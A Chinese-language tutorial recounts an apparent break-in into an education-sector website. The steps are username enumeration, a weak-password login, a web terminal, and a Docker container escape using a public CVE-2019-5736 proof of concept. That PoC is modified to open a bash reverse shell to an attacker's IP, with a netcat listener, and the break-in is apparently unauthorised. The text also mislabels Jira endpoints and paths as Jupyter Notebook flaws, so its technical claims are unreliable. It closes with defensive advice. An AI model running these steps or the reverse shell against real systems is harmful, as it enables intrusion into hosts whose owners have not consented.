偶然的一次漏洞挖掘从弱口令到Docker逃逸漏洞
字数 1564 2025-08-15 21:33:04
Docker逃逸漏洞实战教学:从弱口令到容器逃逸
1. 漏洞发现背景
本案例展示了如何通过弱口令漏洞进入系统,进而利用Docker容器环境配置不当实现容器逃逸的全过程。攻击者最初通过批量扫描发现了一个教育机构网站,经过一系列测试最终实现了从容器内部逃逸到宿主机系统。
2. 信息收集阶段
2.1 目标识别
- 目标类型:教育机构网站(.edu域名)
- Web架构:
- 操作系统:Ubuntu
- Web服务器:Nginx 1.18.0 + Java
- 开放端口:80、443
2.2 目录扫描发现
通过目录扫描工具发现以下关键路径:
/jira- Jupyter Notebook组件登录点/gitlab- GitLab登录点/owncloud- OwnCloud登录点/confluence- Confluence登录点
3. Jupyter Notebook漏洞利用
3.1 信息泄露漏洞
Jupyter Notebook存在两处信息泄露漏洞:
/jira/secure/ViewUserHover.jspa?username=admin/jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true
利用方法:
- 通过这些接口可以枚举有效用户名
- 案例中成功枚举出"Kevin"用户
3.2 弱口令突破
- 尝试常见弱口令"123456"成功登录
- 登录后可以访问
New->Terminal功能打开系统终端
4. Docker环境识别
4.1 容器环境确认
在终端中执行以下检查:
ls /.dockerenv # 检查是否存在.dockerenv文件
cat /proc/1/cgroup # 检查cgroup信息
4.2 确认结果
- 存在
.dockerenv文件 - cgroup信息显示确实运行在Docker容器中
5. Docker逃逸漏洞利用
5.1 漏洞选择
使用CVE-2019-5736漏洞进行逃逸,该漏洞允许容器内用户获取宿主机root权限。
5.2 漏洞利用准备
-
获取PoC代码:
git clone https://github.com/Frichetten/CVE-2019-5736-PoC -
修改main.go文件,将payload改为反弹shell命令:
// 修改payload部分为反弹shell命令 command := "/bin/bash -c 'bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1'" -
交叉编译PoC:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
5.3 漏洞利用步骤
- 将编译好的exp上传到目标容器
- 在攻击者机器上监听端口:
nc -lvnp [端口] - 在容器内运行exp
- 重新进入终端界面触发漏洞
- 成功获取宿主机shell
6. 技术要点总结
- 弱口令利用:永远不要低估弱口令的风险,即使是简单的"123456"也可能成为突破口
- 容器识别:
.dockerenv文件和/proc/1/cgroup是识别Docker环境的关键 - CVE-2019-5736:该漏洞利用runC容器运行时缺陷,允许容器内用户覆盖宿主机上的runC二进制文件
- 交叉编译:在非Linux环境下编译Linux可执行文件需要注意设置GOOS和GOARCH参数
7. 防御建议
-
密码策略:
- 强制使用复杂密码
- 定期更换密码
- 禁用常见弱口令
-
容器安全:
- 及时更新容器运行时(runC)
- 使用非root用户运行容器
- 限制容器能力(使用--cap-drop参数)
- 启用容器只读文件系统(--read-only)
-
Jupyter Notebook安全:
- 禁用未授权访问
- 启用认证机制
- 限制可执行命令范围
-
监控与日志:
- 监控容器异常行为
- 记录所有特权操作
- 设置异常登录告警
8. 参考资源
- CVE-2019-5736漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
- 官方PoC代码:https://github.com/Frichetten/CVE-2019-5736-PoC
- Docker安全最佳实践:https://docs.docker.com/engine/security/